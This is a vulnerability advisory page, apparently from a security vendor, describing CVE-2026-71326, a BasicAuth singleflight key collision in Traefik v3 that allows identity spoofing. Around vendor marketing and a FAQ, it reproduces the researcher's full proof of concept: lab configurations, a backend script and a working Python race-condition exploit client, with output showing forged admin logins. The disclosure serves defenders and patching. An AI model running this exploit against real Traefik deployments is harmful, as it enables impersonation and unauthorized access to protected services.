CVE-2026-71326

CVE-2026-71326 is a low-severity improper authentication vulnerability in github.com/traefik/traefik/v3 (go), affecting versions >= 3.6.11, <= 3.6.24. It is fixed in 3.6.25, 3.7.10.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username, whose secret is empty, can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Traefik's BasicAuth middleware deduplicates concurrent password checks with a
singleflight.Group. Its key is the delimiter-free concatenation
password + secret. For an existing user with password P and stored hash
H, the key is P || H. An unknown user can select the password P || H;
because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown
user receives the existing user's successful Boolean result. Traefik then
continues processing the unknown user's original request and propagates the
attacker-selected username through URL.User, the access log, and the
configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore
authenticate concurrently under any unconfigured username. This becomes a
privilege escalation when a backend uses the BasicAuth headerField as a
trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in
pkg/middlewares/auth/basic_auth.go:118-131:

func (b *basicAuth) checkPassword(user, password string) bool {
	secret := b.auth.Secrets(user, b.auth.Realm)

	key := password + secret
	match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
		if secret == "" {
			_ = b.checkSecret(password, b.notFoundSecret)
			return false, nil
		}

		return b.checkSecret(password, secret), nil
	})

	return match.(bool)
}

For a configured user viewer:

password = P
secret   = H
key      = P || H
result   = true

For an unconfigured user admin:

password = P || H
secret   = ""
key      = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If
the configured user's check is first, the unknown user's closure is not run
and the unknown request receives true.

The authorization result is not bound to the username. After the shared
result is accepted, ServeHTTP uses the username parsed from the unknown
request:

req.URL.User = url.User(user)

if b.headerField != "" {
	req.Header.Del(b.headerField)
	req.Header[b.headerField] = []string{user}
}

Consequently, the backend sees the attacker-selected admin identity, not
the valid request's viewer identity.

Attack prerequisites

The attacker needs:

  1. network access to a route protected by the affected BasicAuth middleware;
  2. one valid low-privilege username and password;
  3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration.
Traefik's API is also a direct source when the attacker can access it:
GET /api/http/middlewares/{id} serializes basicAuth.users, including the
hash, despite the field carrying loggable:"false". The official v3.7.8
binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated
request. The attacker creates both concurrent requests: one with their valid
credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can
impersonate an arbitrary identity to the backend. Depending on downstream
authorization, this can allow:

  • access to administrative data;
  • execution of privileged state-changing operations;
  • corruption of audit attribution;
  • bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the
BasicAuth middleware. The practical consequence then depends on whether the
protected route treats all authenticated users equally.

Proof of Concept

Validation environment

  • Official Traefik v3.7.8 Linux amd64 release.
  • Build timestamp: 2026-07-15T12:42:25Z.
  • Go version in the release: go1.26.5.
  • Archive SHA-256:
    dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
  • The checksum matched the official
    traefik_v3.7.8_checksums.txt release asset.
  • No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

http:
  routers:
    app:
      entryPoints:
        - web
      rule: PathPrefix(`/`)
      middlewares:
        - auth
      service: backend

  middlewares:
    auth:
      basicAuth:
        headerField: X-WebAuth-User
        removeHeader: true
        users:
          - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

global:
  checkNewVersion: false
  sendAnonymousUsage: false

api:
  insecure: true

entryPoints:
  web:
    address: 127.0.0.1:18080

providers:
  file:
    filename: /absolute/path/to/dynamic.yml
    watch: false

The API is enabled only to demonstrate that the runtime representation
exposes the configured hash. It is not needed if the tester already knows the
hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts
in the trusted header:

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *args):
        pass


ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()

Start the backend and Traefik in separate shells.

Shell 1:

python3 backend.py

Shell 2:

./traefik --configFile=/absolute/path/to/static.yml

Exploit client

import base64
import http.client
import json
import threading
import time
import urllib.request

HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."


def request(user, password):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    token = base64.b64encode(f"{user}:{password}".encode()).decode()
    conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
    response = conn.getresponse()
    body = response.read().decode().strip()
    status = response.status
    conn.close()
    return status, body


middleware = json.load(
    urllib.request.urlopen(
        "http://127.0.0.1:8080/api/http/middlewares/auth%40file"
    )
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))

wins = 0
for _ in range(25):
    valid_result = {}
    valid = threading.Thread(
        target=lambda: valid_result.setdefault(
            "result", request("viewer", PASSWORD)
        )
    )
    valid.start()
    time.sleep(0.005)
    attack = request("admin", PASSWORD + HASH)
    valid.join()
    if attack == (200, "admin"):
        wins += 1

print("forged_admin_successes", wins, "of", 25)

Observed output

api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25

The negative control proves that admin is not configured and cannot
authenticate alone. During the collision, all 25 requests were admitted and
the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash
calculation window yielded 2 successful identity forgeries in 100 attempts.
Using normal production-strength bcrypt made the race deterministic in this
environment because the expensive comparison remains in flight long enough
for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to
send concurrent requests can authenticate as an unconfigured username. When
headerField is enabled, the attacker-selected username is forwarded to the
backend as a trusted authenticated identity, enabling privilege impersonation,
unauthorized data access, unauthorized actions, and incorrect security audit
attribution. Without headerField, the request still bypasses BasicAuth and
reaches the protected service.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

Affected versions

github.com/traefik/traefik/v3 (>= 3.6.11, <= 3.6.24) github.com/traefik/traefik/v3 (>= 3.7.0, <= 3.7.9)

Security releases

github.com/traefik/traefik/v3 → 3.6.25 (go) github.com/traefik/traefik/v3 → 3.7.10 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Frequently Asked Questions

  1. What is CVE-2026-71326? CVE-2026-71326 is a low-severity improper authentication vulnerability in github.com/traefik/traefik/v3 (go), affecting versions >= 3.6.11, <= 3.6.24. It is fixed in 3.6.25, 3.7.10. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. Which versions of github.com/traefik/traefik/v3 are affected by CVE-2026-71326? github.com/traefik/traefik/v3 (go) versions >= 3.6.11, <= 3.6.24 is affected.
  3. Is there a fix for CVE-2026-71326? Yes. CVE-2026-71326 is fixed in 3.6.25, 3.7.10. Upgrade to this version or later.
  4. Is CVE-2026-71326 exploitable, and should I be worried? Whether CVE-2026-71326 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-71326 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-71326?
    • Upgrade github.com/traefik/traefik/v3 to 3.6.25 or later
    • Upgrade github.com/traefik/traefik/v3 to 3.7.10 or later

Other vulnerabilities in github.com/traefik/traefik/v3

Stop the waste.
Protect your environment with Kodem.